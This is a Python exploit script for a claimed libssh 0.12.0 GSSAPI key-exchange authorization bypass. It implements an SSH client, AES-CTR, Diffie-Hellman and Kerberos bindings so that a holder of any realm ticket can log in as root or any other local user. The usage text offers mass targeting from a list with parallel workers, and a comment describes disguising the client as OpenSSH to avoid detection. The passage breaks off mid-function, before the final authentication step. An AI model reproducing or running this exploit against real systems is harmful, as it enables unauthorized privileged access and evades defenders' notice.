📄 libssh 0.12.0 Authentication Bypass

#!/usr/bin/env python3
    """
    CVE-2026-59851 - libssh gssapi-keyex missing authorization check
    Affected: libssh 0.12.0 servers built WITH_GSSAPI and running with GSSAPI key
              exchange enabled (SSH_BIND_OPTIONS_GSSAPI_KEY_EXCHANGE). Fixed in 0.12.1.
    Type: Authorization bypass / arbitrary local user impersonation
    
    A client holding a valid Kerberos ticket for ANY principal in the realm can
    authenticate as ANY local username. The server verifies the GSSAPI MIC over the
    userauth request and then grants access without ever asking the application
    whether that principal may become that user, so the ticket for an unprivileged
    principal is enough to log in as root.
    
    This is a self-contained SSH-2 client: it negotiates a GSS key exchange
    (RFC 4462 / RFC 8732), authenticates honestly as whatever principal the local
    credential cache holds, and then asks to be logged in as somebody else.
    GSSAPI itself is reached through the system Kerberos library via ctypes, so the
    only requirement on the attacking host is a usable ticket (kinit) - no
    third-party Python packages.
    
    Usage:
      kinit <your-principal>
      python exploit.py --host server.example.com --port 22 --username root
      python exploit.py --host ssh://server.example.com:2222 --username root
      python exploit.py --host 192.0.2.10 --gss-host server.example.com --username bob
      python exploit.py --list targets.txt --workers 20 --username root
    
    The target name Kerberos authenticates against is host@<--gss-host>, defaulting
    to the value of --host, exactly as an ordinary SSH client would derive it.
    """
    
    import argparse
    import base64
    import ctypes
    import ctypes.util
    import hashlib
    import hmac
    import os
    import platform
    import socket
    import struct
    import sys
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-59851"
    VULN_TYPE = "Auth Bypass (user impersonation)"
    
    # Blends in with ordinary SSH traffic; nothing here should name the tool.
    CLIENT_ID = "SSH-2.0-OpenSSH_9.6"
    
    DEFAULT_PORT = 22
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------------------
    # SSH protocol constants
    # ---------------------------------------------------------------------------
    
    SSH_MSG_DISCONNECT = 1
    SSH_MSG_IGNORE = 2
    SSH_MSG_UNIMPLEMENTED = 3
    SSH_MSG_DEBUG = 4
    SSH_MSG_SERVICE_REQUEST = 5
    SSH_MSG_SERVICE_ACCEPT = 6
    SSH_MSG_EXT_INFO = 7
    SSH_MSG_KEXINIT = 20
    SSH_MSG_NEWKEYS = 21
    
    SSH_MSG_KEXGSS_INIT = 30
    SSH_MSG_KEXGSS_CONTINUE = 31
    SSH_MSG_KEXGSS_COMPLETE = 32
    SSH_MSG_KEXGSS_HOSTKEY = 33
    SSH_MSG_KEXGSS_ERROR = 34
    
    SSH_MSG_USERAUTH_REQUEST = 50
    SSH_MSG_USERAUTH_FAILURE = 51
    SSH_MSG_USERAUTH_SUCCESS = 52
    SSH_MSG_USERAUTH_BANNER = 53
    
    SSH_MSG_GLOBAL_REQUEST = 80
    SSH_MSG_CHANNEL_OPEN = 90
    SSH_MSG_CHANNEL_OPEN_CONFIRMATION = 91
    SSH_MSG_CHANNEL_OPEN_FAILURE = 92
    SSH_MSG_CHANNEL_WINDOW_ADJUST = 93
    SSH_MSG_CHANNEL_DATA = 94
    SSH_MSG_CHANNEL_EXTENDED_DATA = 95
    SSH_MSG_CHANNEL_EOF = 96
    SSH_MSG_CHANNEL_CLOSE = 97
    SSH_MSG_CHANNEL_REQUEST = 98
    SSH_MSG_CHANNEL_SUCCESS = 99
    SSH_MSG_CHANNEL_FAILURE = 100
    
    # RFC 3526 MODP groups, the two the GSS key exchange methods below are built on.
    _MODP_14 = int(
        "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74"
        "020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437"
        "4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED"
        "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF05"
        "98DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB"
        "9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B"
        "E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718"
        "3995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF",
        16)
    
    _MODP_16 = int(
        "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74"
        "020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437"
        "4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED"
        "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF05"
        "98DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB"
        "9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B"
        "E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718"
        "3995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33"
        "A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7"
        "ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864"
        "D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E2"
        "08E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D7"
        "88719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8"
        "DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2"
        "233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA9"
        "93B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF",
        16)
    
    DH_GENERATOR = 2
    
    # GSS-API mechanism OID for Kerberos 5, DER encoded (tag + length + value).
    KRB5_MECH_OID_DER = b"\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"
    KRB5_MECH_OID = KRB5_MECH_OID_DER[2:]
    # GSS_C_NT_HOSTBASED_SERVICE, i.e. names of the form "service@host".
    NT_HOSTBASED_SERVICE_OID = b"\x2a\x86\x48\x86\xf7\x12\x01\x02\x01\x04"
    
    GSS_C_MUTUAL_FLAG = 0x0002
    GSS_C_INTEG_FLAG = 0x0020
    GSS_S_COMPLETE = 0
    GSS_S_CONTINUE_NEEDED = 1
    
    
    def _kex_name(base: str) -> str:
        """RFC 4462 names a GSS key exchange <base><b64(md5(DER OID))>."""
        digest = hashlib.md5(KRB5_MECH_OID_DER).digest()
        return base + base64.b64encode(digest).decode()
    
    
    # (name, MODP prime, hash constructor). Preference order, best first.
    KEX_METHODS = [
        (_kex_name("gss-group14-sha256-"), _MODP_14, hashlib.sha256),
        (_kex_name("gss-group16-sha512-"), _MODP_16, hashlib.sha512),
    ]
    
    CIPHERS = "aes256-ctr,aes128-ctr"
    MACS = "hmac-sha2-256,hmac-sha2-512"
    
    _CIPHER_KEYLEN = {"aes128-ctr": 16, "aes256-ctr": 32}
    _MAC_ALGO = {"hmac-sha2-256": hashlib.sha256, "hmac-sha2-512": hashlib.sha512}
    
    
    class SSHError(Exception):
        """Anything that stops the SSH conversation before a verdict is reached."""
    
    
    class GSSError(SSHError):
        """A GSS-API call failed; the message carries the mechanism's own text."""
    
    
    # ---------------------------------------------------------------------------
    # Wire encoding helpers (RFC 4251 section 5)
    # ---------------------------------------------------------------------------
    
    def _string(data) -> bytes:
        if isinstance(data, str):
            data = data.encode()
        return struct.pack(">I", len(data)) + data
    
    
    def _mpint(value: int) -> bytes:
        if value == 0:
            return struct.pack(">I", 0)
        raw = value.to_bytes((value.bit_length() + 8) // 8, "big")
        return struct.pack(">I", len(raw)) + raw
    
    
    class _Reader(object):
        """Sequential reader over an SSH packet payload."""
    
        def __init__(self, data: bytes):
            self.data = data
            self.pos = 0
    
        def _take(self, count: int) -> bytes:
            if self.pos + count > len(self.data):
                raise SSHError("truncated packet")
            out = self.data[self.pos:self.pos + count]
            self.pos += count
            return out
    
        def byte(self) -> int:
            return self._take(1)[0]
    
        def boolean(self) -> bool:
            return self._take(1)[0] != 0
    
        def uint32(self) -> int:
            return struct.unpack(">I", self._take(4))[0]
    
        def string(self) -> bytes:
            return self._take(self.uint32())
    
        def text(self) -> str:
            return self.string().decode("utf-8", "replace")
    
        def remaining(self) -> bytes:
            return self.data[self.pos:]
    
    
    # ---------------------------------------------------------------------------
    # AES-CTR
    #
    # The standard library ships no block cipher, and the exploit must stay free of
    # third-party dependencies, so AES is implemented here. The S-box is generated
    # from its algebraic definition rather than copied from a table, which is both
    # shorter and self-checking.
    # ---------------------------------------------------------------------------
    
    def _build_sbox():
        sbox = [0] * 256
        p = 1
        q = 1
        while True:
            p = (p ^ ((p << 1) & 0xFF) ^ (0x1B if p & 0x80 else 0)) & 0xFF
            q = (q ^ ((q << 1) & 0xFF)) & 0xFF
            q = (q ^ ((q << 2) & 0xFF)) & 0xFF
            q = (q ^ ((q << 4) & 0xFF)) & 0xFF
            if q & 0x80:
                q ^= 0x09
            value = q
            for shift in (1, 2, 3, 4):
                value ^= ((q << shift) | (q >> (8 - shift))) & 0xFF
            sbox[p] = value ^ 0x63
            if p == 1:
                break
        sbox[0] = 0x63
        return sbox
    
    
    _SBOX = _build_sbox()
    
    
    def _xtime(byte: int) -> int:
        byte <<= 1
        if byte & 0x100:
            byte ^= 0x11B
        return byte & 0xFF
    
    
    class _AES(object):
        """Encryption-only AES; CTR mode never needs the inverse cipher."""
    
        def __init__(self, key: bytes):
            nk = len(key) // 4
            if nk not in (4, 8):
                raise SSHError("unsupported AES key size")
            self.rounds = nk + 6
            words = [list(key[4 * i:4 * i + 4]) for i in range(nk)]
            rcon = 1
            for i in range(nk, 4 * (self.rounds + 1)):
                temp = list(words[i - 1])
                if i % nk == 0:
                    temp = temp[1:] + temp[:1]
                    temp = [_SBOX[b] for b in temp]
                    temp[0] ^= rcon
                    rcon = _xtime(rcon)
                elif nk > 6 and i % nk == 4:
                    temp = [_SBOX[b] for b in temp]
                words.append([words[i - nk][j] ^ temp[j] for j in range(4)])
            self.round_keys = [
                bytes(words[4 * r + c][j] for c in range(4) for j in range(4))
                for r in range(self.rounds + 1)
            ]
    
        def encrypt_block(self, block: bytes) -> bytes:
            state = [block[i] ^ self.round_keys[0][i] for i in range(16)]
            for rnd in range(1, self.rounds + 1):
                state = [_SBOX[b] for b in state]
                # ShiftRows: byte i lives at column i//4, row i%4.
                state = [state[(i + 4 * (i % 4)) % 16] for i in range(16)]
                if rnd != self.rounds:
                    mixed = []
                    for col in range(4):
                        a = state[4 * col:4 * col + 4]
                        t = a[0] ^ a[1] ^ a[2] ^ a[3]
                        mixed.extend([
                            a[0] ^ t ^ _xtime(a[0] ^ a[1]),
                            a[1] ^ t ^ _xtime(a[1] ^ a[2]),
                            a[2] ^ t ^ _xtime(a[2] ^ a[3]),
                            a[3] ^ t ^ _xtime(a[3] ^ a[0]),
                        ])
                    state = mixed
                key = self.round_keys[rnd]
                state = [state[i] ^ key[i] for i in range(16)]
            return bytes(state)
    
    
    class _AESCTR(object):
        """Streaming AES-CTR, counter carried across packets as SSH requires."""
    
        def __init__(self, key: bytes, iv: bytes):
            self.aes = _AES(key)
            self.counter = int.from_bytes(iv[:16], "big")
            self.keystream = b""
    
        def crypt(self, data: bytes) -> bytes:
            while len(self.keystream) < len(data):
                block = self.counter.to_bytes(16, "big")
                self.keystream += self.aes.encrypt_block(block)
                self.counter = (self.counter + 1) & ((1 << 128) - 1)
            stream = self.keystream[:len(data)]
            self.keystream = self.keystream[len(data):]
            return bytes(a ^ b for a, b in zip(data, stream))
    
    
    # ---------------------------------------------------------------------------
    # GSS-API, reached through the system Kerberos library
    # ---------------------------------------------------------------------------
    
    class _GssBuffer(ctypes.Structure):
        _fields_ = [("length", ctypes.c_size_t), ("value", ctypes.c_void_p)]
    
    
    class _GssOID(ctypes.Structure):
        _fields_ = [("length", ctypes.c_uint32), ("elements", ctypes.c_void_p)]
    
    
    def _oid(der_value: bytes) -> _GssOID:
        storage = ctypes.create_string_buffer(der_value, len(der_value))
        oid = _GssOID(len(der_value), ctypes.cast(storage, ctypes.c_void_p))
        oid._storage = storage  # keep the backing memory alive
        return oid
    
    
    def _in_buffer(data: bytes):
        buf = _GssBuffer()
        if data:
            storage = ctypes.create_string_buffer(data, len(data))
            buf.length = len(data)
            buf.value = ctypes.cast(storage, ctypes.c_void_p)
            buf._storage = storage
        else:
            buf.length = 0
            buf.value = None
        return buf
    
    
    class GSSContext(object):
        """Minimal client-side GSS-API binding: enough for SSH key exchange."""
    
        _LIB_CANDIDATES = [
            "libgssapi_krb5.so.2",
            "libgssapi_krb5.so",
            "libgssapi.so.3",
            "/System/Library/Frameworks/GSS.framework/GSS",
        ]
    
        def __init__(self, target_name: str):
            self.lib = self._load_library()
            self._declare()
            self.ctx = ctypes.c_void_p(None)
            self.target = ctypes.c_void_p(None)
            self.established = False
            self._import_name(target_name)
    
        # -- library plumbing ---------------------------------------------------
    
        def _load_library(self):
            candidates = list(self._LIB_CANDIDATES)
            found = ctypes.util.find_library("gssapi_krb5")
            if found:
                candidates.insert(0, found)
            for name in candidates:
                try:
                    return ctypes.CDLL(name)
                except OSError:
                    continue
            raise GSSError(
                "no GSS-API library found (install MIT Kerberos: libgssapi-krb5-2)")
    
        def _declare(self):
            u32 = ctypes.c_uint32
            p_u32 = ctypes.POINTER(ctypes.c_uint32)
            p_buf = ctypes.POINTER(_GssBuffer)
            p_oid = ctypes.POINTER(_GssOID)
            p_ptr = ctypes.POINTER(ctypes.c_void_p)
            void = ctypes.c_void_p
    
            self.lib.gss_import_name.argtypes = [p_u32, p_buf, p_oid, p_ptr]
            self.lib.gss_import_name.restype = u32
            self.lib.gss_init_sec_context.argtypes = [
                p_u32, void, p_ptr, void, p_oid, u32, u32, void,
                p_buf, p_ptr, p_buf, p_u32, p_u32,
            ]
            self.lib.gss_init_sec_context.restype = u32
            self.lib.gss_get_mic.argtypes = [p_u32, void, u32, p_buf, p_buf]
            self.lib.gss_get_mic.restype = u32
            self.lib.gss_verify_mic.argtypes = [p_u32, void, p_buf, p_buf, p_u32]
            self.lib.gss_verify_mic.restype = u32
            self.lib.gss_release_buffer.argtypes = [p_u32, p_buf]
            self.lib.gss_release_buffer.restype = u32
            self.lib.gss_release_name.argtypes = [p_u32, p_ptr]
            self.lib.gss_release_name.restype = u32
            self.lib.gss_delete_sec_context.argtypes = [p_u32, p_ptr, void]
            self.lib.gss_delete_sec_context.restype = u32
            self.lib.gss_display_status.argtypes = [
                p_u32, u32, ctypes.c_int, p_oid, p_u32, p_buf]
            self.lib.gss_display_status.restype = u32
            self.lib.gss_inquire_cred.argtypes = [
                p_u32, void, p_ptr, p_u32, p_u32, void]
            self.lib.gss_inquire_cred.restype = u32
            self.lib.gss_display_name.argtypes = [p_u32, void, p_buf, p_ptr]
            self.lib.gss_display_name.restype = u32
    
        def _take(self, buf: _GssBuffer) -> bytes:
            if not buf.value or not buf.length:
                return b""
            data = ctypes.string_at(buf.value, buf.length)
            minor = ctypes.c_uint32(0)
            self.lib.gss_release_buffer(ctypes.byref(minor), ctypes.byref(buf))
            return data
    
        def _status_text(self, major: int, minor: int) -> str:
            parts = []
            for code, kind in ((major, 1), (minor, 2)):
                context = ctypes.c_uint32(0)
                out = _GssBuffer()
                min_stat = ctypes.c_uint32(0)
                rc = self.lib.gss_display_status(
                    ctypes.byref(min_stat), ctypes.c_uint32(code), kind,
                    ctypes.byref(_oid(KRB5_MECH_OID)) if kind == 2 else None,
                    ctypes.byref(context), ctypes.byref(out))
                if rc == GSS_S_COMPLETE:
                    text = self._take(out).decode("utf-8", "replace").strip()
                    if text:
                        parts.append(text)
            if not parts:
                parts.append("major=0x%08x minor=%d" % (major, minor))
            return "; ".join(parts)
    
        def _check(self, major: int, minor: int, what: str):
            if major & 0xFFFF0000:
                raise GSSError("%s: %s" % (what, self._status_text(major, minor)))
    
        # -- API ----------------------------------------------------------------
    
        def _import_name(self, target_name: str):
            minor = ctypes.c_uint32(0)
            name_buf = _in_buffer(target_name.encode())
            oid = _oid(NT_HOSTBASED_SERVICE_OID)
            major = self.lib.gss_import_name(
                ctypes.byref(minor), ctypes.byref(name_buf),
                ctypes.byref(oid), ctypes.byref(self.target))
            self._check(major, minor.value, "importing target name")
    
        def local_principal(self) -> str:
            """The identity the credential cache actually holds."""
            minor = ctypes.c_uint32(0)
            name = ctypes.c_void_p(None)
            major = self.lib.gss_inquire_cred(
                ctypes.byref(minor), None, ctypes.byref(name), None, None, None)
            if major & 0xFFFF0000:
                raise GSSError("no usable Kerberos credentials: %s"
                               % self._status_text(major, minor.value))
            out = _GssBuffer()
            oid = ctypes.c_void_p(None)
            major = self.lib.gss_display_name(
                ctypes.byref(minor), name, ctypes.byref(out), ctypes.byref(oid))
            text = self._take(out).decode("utf-8", "replace")
            self.lib.gss_release_name(ctypes.byref(minor), ctypes.byref(name))
            self._check(major, minor.value, "displaying principal name")
            return text
    
        def init_step(self, token: bytes = b"") -> bytes:
            """One round of gss_init_sec_context; returns the token to send."""
            minor = ctypes.c_uint32(0)
            in_buf = _in_buffer(token)
            out_buf = _GssBuffer()
            ret_flags = ctypes.c_uint32(0)
            mech = _oid(KRB5_MECH_OID)
            major = self.lib.gss_init_sec_context(
                ctypes.byref(minor),
                None,                       # default credentials from the ccache
                ctypes.byref(self.ctx),
                self.target,
                ctypes.byref(mech),
                ctypes.c_uint32(GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG),
                ctypes.c_uint32(0),
                None,
                ctypes.byref(in_buf),
                None,
                ctypes.byref(out_buf),
                ctypes.byref(ret_flags),
                None)
            self._check(major, minor.value, "establishing GSSAPI context")
            out = self._take(out_buf)
            if major == GSS_S_COMPLETE:
                missing = []
                if not ret_flags.value & GSS_C_MUTUAL_FLAG:
                    missing.append("mutual authentication")
                if not ret_flags.value & GSS_C_INTEG_FLAG:
                    missing.append("integrity")
                if missing:
                    raise GSSError("context lacks " + " and ".join(missing))
                self.established = True
            return out
    
        def get_mic(self, message: bytes) -> bytes:
            minor = ctypes.c_uint32(0)
            msg = _in_buffer(message)
            out = _GssBuffer()
            major = self.lib.gss_get_mic(
                ctypes.byref(minor), self.ctx, ctypes.c_uint32(0),
                ctypes.byref(msg), ctypes.byref(out))
            self._check(major, minor.value, "creating MIC")
            return self._take(out)
    
        def verify_mic(self, message: bytes, token: bytes) -> bool:
            minor = ctypes.c_uint32(0)
            msg = _in_buffer(message)
            mic = _in_buffer(token)
            qop = ctypes.c_uint32(0)
            major = self.lib.gss_verify_mic(
                ctypes.byref(minor), self.ctx, ctypes.byref(msg),
                ctypes.byref(mic), ctypes.byref(qop))
            return major == GSS_S_COMPLETE
    
        def close(self):
            if self.ctx:
                minor = ctypes.c_uint32(0)
                self.lib.gss_delete_sec_context(
                    ctypes.byref(minor), ctypes.byref(self.ctx), None)
                self.ctx = ctypes.c_void_p(None)
    
    
    # ---------------------------------------------------------------------------
    # SSH transport
    # ---------------------------------------------------------------------------
    
    class SSHTransport(object):
        """SSH-2 client speaking exactly the subset this attack needs."""
    
        def __init__(self, host: str, port: int, timeout: float = 15.0):
            self.host = host
            self.port = port
            self.timeout = timeout
            self.sock = None
            self.buffer = b""
            self.send_seq = 0
            self.recv_seq = 0
            self.out_cipher = None
            self.in_cipher = None
            self.out_mac = None
            self.in_cipher_block = 8
            self.notes = []
    
        # -- raw socket ---------------------------------------------------------
    
        def connect(self):
            self.sock = socket.create_connection((self.host, self.port),
                                                 timeout=self.timeout)
            self.sock.settimeout(self.timeout)
    
        def close(self):
            if self.sock is not None:
                try:
                    self.sock.close()
                except OSError:
                    pass
                self.sock = None
    
        def _read_exactly(self, count: int) -> bytes:
            while len(self.buffer) < count:
                try:
                    chunk = self.sock.recv(65536)
                except socket.timeout:
                    raise SSHError("timed out waiting for the server")
                if not chunk:
                    raise SSHError("server closed the connection")
                self.buffer += chunk
            out, self.buffer = self.buffer[:count], self.buffer[count:]
            return out
    
        # -- banner -------------------------------------------------------------
    
        def exchange_banners(self):
            self.sock.sendall(CLIENT_ID.encode() + b"\r\n")
            self.client_banner = CLIENT_ID
            while True:
                line = b""
                while not line.endswith(b"\n"):
                    line += self._read_exactly(1)
                    if len(line) > 8192:
                        raise SSHError("server sent an oversized identification line")
                text = line.rstrip(b"\r\n").decode("utf-8", "replace")
                if text.startswith("SSH-"):
                    self.server_banner = text
                    break
            if not self.server_banner.startswith("SSH-2.0"):
                raise SSHError("server does not speak SSH-2: %r" % self.server_banner)
    
        # -- packet layer -------------------------------------------------------
    
        def send_packet(self, payload: bytes):
            block = 16 if self.out_cipher else 8
            pad = block - ((len(payload) + 5) % block)
            if pad < 4:
                pad += block
            packet = (struct.pack(">IB", len(payload) + pad + 1, pad) + payload
                      + os.urandom(pad))
            if self.out_cipher:
                mac = hmac.new(self.out_mac_key,
                               struct.pack(">I", self.send_seq) + packet,
                               self.out_mac).digest()
                self.sock.sendall(self.out_cipher.crypt(packet) + mac)
            else:
                self.sock.sendall(packet)
            self.send_seq = (self.send_seq + 1) & 0xFFFFFFFF
    
        def _recv_packet_raw(self) -> bytes:
            if self.in_cipher:
                first = self.in_cipher.crypt(self._read_exactly(self.in_cipher_block))
                length = struct.unpack(">I", first[:4])[0]
                if length < 8 or length > 262144:
                    raise SSHError("implausible packet length %d" % length)
                rest_len = length + 4 - self.in_cipher_block
                rest = self.in_cipher.crypt(self._read_exactly(rest_len))
                packet = first + rest
                mac = self._read_exactly(self.in_mac_len)
                expect = hmac.new(self.in_mac_key,
                                  struct.pack(">I", self.recv_seq) + packet,
                                  self.in_mac).digest()
                if not hmac.compare_digest(mac, expect):
                    raise SSHError("MAC mismatch on inbound packet")
            else:
                head = self._read_exactly(4)
                length = struct.unpack(">I", head)[0]
                if length < 8 or length > 262144:
                    raise SSHError("implausible packet length %d" % length)
                packet = head + self._read_exactly(length)
            self.recv_seq = (self.recv_seq + 1) & 0xFFFFFFFF
            pad = packet[4]
            return packet[5:len(packet) - pad]
    
        def recv_packet(self) -> bytes:
            """Return the next payload, absorbing the messages nobody acts on."""
            while True:
                payload = self._recv_packet_raw()
                if not payload:
                    raise SSHError("empty packet")
                kind = payload[0]
                if kind == SSH_MSG_DISCONNECT:
                    reader = _Reader(payload[1:])
                    code = reader.uint32()
                    reason = reader.text()
                    raise SSHError("server disconnected (reason %d: %s)"
                                   % (code, reason))
                if kind in (SSH_MSG_IGNORE, SSH_MSG_DEBUG, SSH_MSG_UNIMPLEMENTED,
                            SSH_MSG_EXT_INFO, SSH_MSG_GLOBAL_REQUEST,
                            SSH_MSG_CHANNEL_WINDOW_ADJUST):
                    continue
                return payload
    
        def expect(self, kind: int, what: str) -> bytes:
            payload = self.recv_packet()
            if payload[0] != kind:
                raise SSHError("expected %s, got message type %d"
                               % (what, payload[0]))
            return payload
    
        # -- key exchange -------------------------------------------------------
    
        def _build_kexinit(self) -> bytes:
            kex_algos = ",".join(name for name, _, _ in KEX_METHODS)
            # The server picks its own host key type; "null" covers servers with no
            # host key at all, which RFC 4462 allows because the GSS context
            # authenticates the server.
            hostkeys = ("ssh-ed25519,rsa-sha2-512,rsa-sha2-256,ssh-rsa,"
                        "ecdsa-sha2-nistp256,null")
            lists = [kex_algos, hostkeys, CIPHERS, CIPHERS, MACS, MACS,
                     "none", "none", "", ""]
            payload = bytes([SSH_MSG_KEXINIT]) + os.urandom(16)
            for item in lists:
                payload += _string(item)
            payload += b"\x00" + struct.pack(">I", 0)
            return payload
    
        @staticmethod
        def _pick(ours: str, theirs: str, what: str) -> str:
            offered = theirs.split(",")
            for candidate in ours.split(","):
                if candidate in offered:
                    return candidate
            raise SSHError("no common %s (server offers: %s)" % (what, theirs))
    
        def negotiate(self):
            client_kexinit = self._build_kexinit()
            self.send_packet(client_kexinit)
            server_kexinit = self.expect(SSH_MSG_KEXINIT, "KEXINIT")
    
            reader = _Reader(server_kexinit[1:])
            reader._take(16)
            server_lists = [reader.text() for _ in range(10)]
    
            kex_algos = ",".join(name for name, _, _ in KEX_METHODS)
            self.kex_name = self._pick(kex_algos, server_lists[0],
                                       "key exchange method")
            self.cipher_cs = self._pick(CIPHERS, server_lists[2], "client cipher")
            self.cipher_sc = self._pick(CIPHERS, server_lists[3], "server cipher")
            self.mac_cs = self._pick(MACS, server_lists[4], "client MAC")
            self.mac_sc = self._pick(MACS, server_lists[5], "server MAC")
            self.server_kex_algos = server_lists[0]
    
            self.i_c = client_kexinit
            self.i_s = server_kexinit
            for name, prime, hashfn in KEX_METHODS:
                if name == self.kex_name:
                    self.dh_prime = prime
                    self.hashfn = hashfn
                    break
    
        def gss_key_exchange(self, gss_host: str) -> GSSContext:
            gss = GSSContext("host@" + gss_host)
            token = gss.init_step()
            if not token:
                raise GSSError("GSS-API produced no initial token")
    
            exponent_bits = 2 * self.hashfn().digest_size * 8
            self.dh_x = int.from_bytes(os.urandom(exponent_bits // 8), "big") | 1
            e = pow(DH_GENERATOR, self.dh_x, self.dh_prime)
    
            self.send_packet(bytes([SSH_MSG_KEXGSS_INIT]) + _string(token)
                             + _mpint(e))
    
            host_key_blob = b""
            f_raw = None
            server_mic = None
            while True:
                payload = self.recv_packet()
                kind = payload[0]
                if kind == SSH_MSG_KEXGSS_HOSTKEY:
                    host_key_blob = _Reader(payload[1:]).string()
                elif kind == SSH_MSG_KEXGSS_CONTINUE:
                    reply = gss.init_step(_Reader(payload[1:]).string())
                    self.send_packet(bytes([SSH_MSG_KEXGSS_CONTINUE])
                                     + _string(reply))
                elif kind == SSH_MSG_KEXGSS_COMPLETE:
                    reader = _Reader(payload[1:])
                    f_raw = reader.string()
                    server_mic = reader.string()
                    if reader.boolean():
                        final = reader.string()
                        if final:
                            gss.init_step(final)
                    break
                elif kind == SSH_MSG_KEXGSS_ERROR:
                    reader = _Reader(payload[1:])
                    major = reader.uint32()
                    minor = reader.uint32()
                    raise GSSError("server rejected the GSS context "
                                   "(major=0x%08x minor=0x%08x): %s"
                                   % (major, minor, reader.text()))
                else:
                    raise SSHError("unexpected message %d during key exchange"
                                   % kind)
    
            if not gss.established:
                raise GSSError("GSS context never completed")
    
            f = int.from_bytes(f_raw, "big")
            if not 1 < f < self.dh_prime - 1:
                raise SSHError("server sent an invalid DH public value")
            shared = pow(f, self.dh_x, self.dh_prime)
    
            digest = self.hashfn()
            digest.update(_string(self.client_banner))
            digest.update(_string(self.server_banner))
            digest.update(_string(self.i_c))
            digest.update(_string(self.i_s))
            digest.update(_string(host_key_blob))
            digest.update(_mpint(e))
            digest.update(struct.pack(">I", len(f_raw)) + f_raw)
            digest.update(_mpint(shared))
            self.exchange_hash = digest.digest()
            self.session_id = self.exchange_hash
    
            # The server MIC over H is what authenticates the server: there is no
            # host key signature in a GSS key exchange.
            if not gss.verify_mic(self.exchange_hash, server_mic):
                raise GSSError("server MIC over the exchange hash did not verify")
            self.notes.append("server authenticated by GSSAPI MIC over the "
                              "exchange hash")
    
            self.send_packet(bytes([SSH_MSG_NEWKEYS]))
            self.expect(SSH_MSG_NEWKEYS, "NEWKEYS")
            self._install_keys(shared)
            return gss
    
        def _derive(self, shared: int, letter: bytes, length: int) -> bytes:
            base = _mpint(shared) + self.exchange_hash
            out = self.hashfn(base + letter + self.session_id).digest()
            while len(out) < length:
                out += self.hashfn(base + out).digest()
            return out[:length]
    
        def _install_keys(self, shared: int):
            iv_cs = self._derive(shared, b"A", 16)
            iv_sc = self._derive(shared, b"B", 16)
            key_cs = self._derive(shared, b"C", _CIPHER_KEYLEN[self.cipher_cs])
            key_sc = self._derive(shared, b"D", _CIPHER_KEYLEN[self.cipher_sc])
            self.out_mac = _MAC_ALGO[self.mac_cs]
            self.in_mac = _MAC_ALGO[self.mac_sc]
            mac_len_cs = self.out_mac().digest_size
            mac_len_sc = self.in_mac().digest_size
            self.out_mac_key = self._derive(shared, b"E", mac_len_cs)
            self.in_mac_key = self._derive(shared, b"F", mac_len_sc)
            self.in_mac_len = mac_len_sc
            self.out_cipher = _AESCTR(key_cs, iv_cs)
            self.in_cipher = _AESCTR(key_sc, iv_sc)
            self.in_cipher_block = 16
    
        # -- authentication -----------------------------------------------------
    
        def request_service(self, service: str = "ssh-connection"):
            self.send_packet(bytes([SSH_MSG_SERVICE_REQUEST]) + _string(service))
            self.expect(SSH_MSG_SERVICE_ACCEPT, "SERVICE_ACCEPT")
    
        def userauth_none(self, username: str):
            """Probe: returns (accepted, offered_methods)."""
            self.send_packet(bytes([SSH_MSG_USERAUTH_REQUEST]) + _string(username)
                             + _string("ssh-connection") + _string("none"))
            while True:
                payload = self.recv_packet()
                if payload[0] == SSH_MSG_USERAUTH_BANNER:
                    continue
                if payload[0] == SSH_MSG_USERAUTH_SUCCESS:
                    return True, ""
                if payload[0] == SSH_MSG_USERAUTH_FAILURE:
                    return False, _Reader(payload[1:]).text()
                raise SSHError("unexpected reply %d to the 'none' probe"
                               % payload[0])
    
        def userauth_gssapi_keyex(self, gss: GSSContext, username: str):
            """The attack. Returns (authenticated, detail)."""
            mic_data = (_string(self.session_id)
